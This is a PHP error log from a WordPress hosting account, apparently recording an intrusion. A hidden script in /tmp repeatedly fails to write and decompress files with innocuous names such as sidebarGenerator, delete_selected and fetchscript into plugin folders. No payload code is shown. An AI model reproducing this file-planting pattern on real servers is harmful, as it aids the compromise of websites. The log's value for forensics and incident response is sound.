[26-Oct-2025 18:35:56 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phphOZs8u" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Modules/Analytics_4/GoogleAnalyticsAdmin/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 18:36:43 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:37:00 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:37:00 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpCg0yRQ" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 18:42:40 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 18:46:34 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Libraries/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:46:47 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Libraries/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:46:47 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpP32afh" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Libraries/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 18:46:53 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 18:47:12 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Libraries/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:47:23 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Libraries/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:47:23 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpJ2lKLm" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Libraries/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 18:48:11 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:48:28 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:48:28 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpy4eI6U" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 18:48:42 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 18:48:59 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:49:37 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:49:37 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpJBcC9j" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 18:52:09 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Database/Models/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:53:34 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Database/Models/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:53:34 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpneYcQi" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Database/Models/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 18:54:30 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 18:56:03 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Database/Models/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:57:15 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//etc/cl.php.d/alt-php80/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 18:58:11 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 18:59:52 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//etc/cl.php.d/alt-php80/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:00:09 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//etc/cl.php.d/alt-php80/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:00:09 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/php5nfRB8" to "/home/blacotuu/deliciouskenya.com//etc/cl.php.d/alt-php80/delete_selected" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:00:37 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Modules/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:01:14 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/assets/css/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:01:14 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Modules/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:01:14 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpmEizWq" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Modules/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:01:25 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/assets/css/delete_selected.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:01:25 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpH4yXK5" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/assets/css/delete_selected.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:01:38 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:01:38 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:01:58 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Modules/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:02:00 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/assets/css/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:02:12 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/assets/css/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:02:12 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpY05iDk" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/assets/css/delete_selected" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:02:16 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Modules/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:02:16 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpEY5PVb" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Modules/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:02:56 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/symfony/polyfill-php70/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:03:06 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/symfony/polyfill-php70/delete_selected.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:03:06 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/php3Xo981" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/symfony/polyfill-php70/delete_selected.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:03:18 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:03:38 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/symfony/polyfill-php70/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:03:43 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Telemetry/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:03:52 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/symfony/polyfill-php70/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:03:52 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/php6BdB90" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/symfony/polyfill-php70/delete_selected" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:04:17 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Telemetry/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:04:17 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpdHYSzL" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Telemetry/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:04:38 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:04:56 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/delete_selected.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:04:56 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/php0S42VY" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/delete_selected.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:05:04 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:05:11 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:05:25 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Telemetry/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:05:35 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Telemetry/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:05:35 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/php0U8WwW" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Telemetry/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:05:54 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:06:15 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:06:15 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpxx1RWL" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/delete_selected" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:06:49 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/ralouphie/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:07:10 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/symfony/polyfill-intl-normalizer/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:07:10 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/ralouphie/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:07:10 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/php1f2ZJw" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/ralouphie/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:07:28 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:07:43 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:07:47 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/ralouphie/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:07:54 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/ralouphie/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:07:54 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/php0XmM36" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/ralouphie/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:08:22 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/symfony/polyfill-intl-normalizer/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:09:18 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Dashboard_Sharing/Activity_Metrics/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:09:42 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Dashboard_Sharing/Activity_Metrics/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:09:42 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpHOrYjx" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Dashboard_Sharing/Activity_Metrics/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:09:52 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/personizely/views/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:10:05 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/personizely/views/delete_selected.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:10:05 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpz4Vqwd" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/personizely/views/delete_selected.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:10:13 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:10:16 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:10:51 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Dashboard_Sharing/Activity_Metrics/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:10:53 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/personizely/views/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:10:53 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpbhzFEI" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/personizely/views/delete_selected" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:10:56 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Dashboard_Sharing/Activity_Metrics/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:10:56 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpT2Qh0Z" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Dashboard_Sharing/Activity_Metrics/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:12:00 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/assets/delete_selected.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:12:00 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpf2ajnj" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/assets/delete_selected.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:12:11 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:12:37 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:12:37 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phph1RoA6" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:12:46 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:13:00 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:13:10 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:13:10 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpAEHApZ" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:14:02 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/logs/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:14:19 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/logs/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:14:19 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpgA4Uhn" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/logs/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:14:29 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:14:43 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/logs/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:14:49 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/logs/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:14:49 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpCDUnRP" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/logs/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:15:59 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/psr/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:16:28 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/psr/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:16:28 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpTghU7A" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/psr/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:17:04 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:18:59 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/psr/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:18:59 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpMO5ITr" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/psr/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:22:17 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/blocks/views/includes/DataBuilder/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:22:56 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/blocks/views/includes/DataBuilder/sidebarGenerator.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:22:56 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpK55l5l" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/blocks/views/includes/DataBuilder/sidebarGenerator.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:23:06 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 19:23:22 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/blocks/views/includes/DataBuilder/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:23:37 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/blocks/views/includes/DataBuilder/sidebarGenerator): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:23:37 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpxnctQS" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/blocks/views/includes/DataBuilder/sidebarGenerator" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:25:43 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Guards/delete_selected): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:38:42 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/ServerSide/fetchscript.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 19:38:42 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpD0hEPe" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/ServerSide/fetchscript.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 19:39:33 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 20:04:47 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/google/apiclient/src/AuthHandler/fetchscript): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:05:21 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
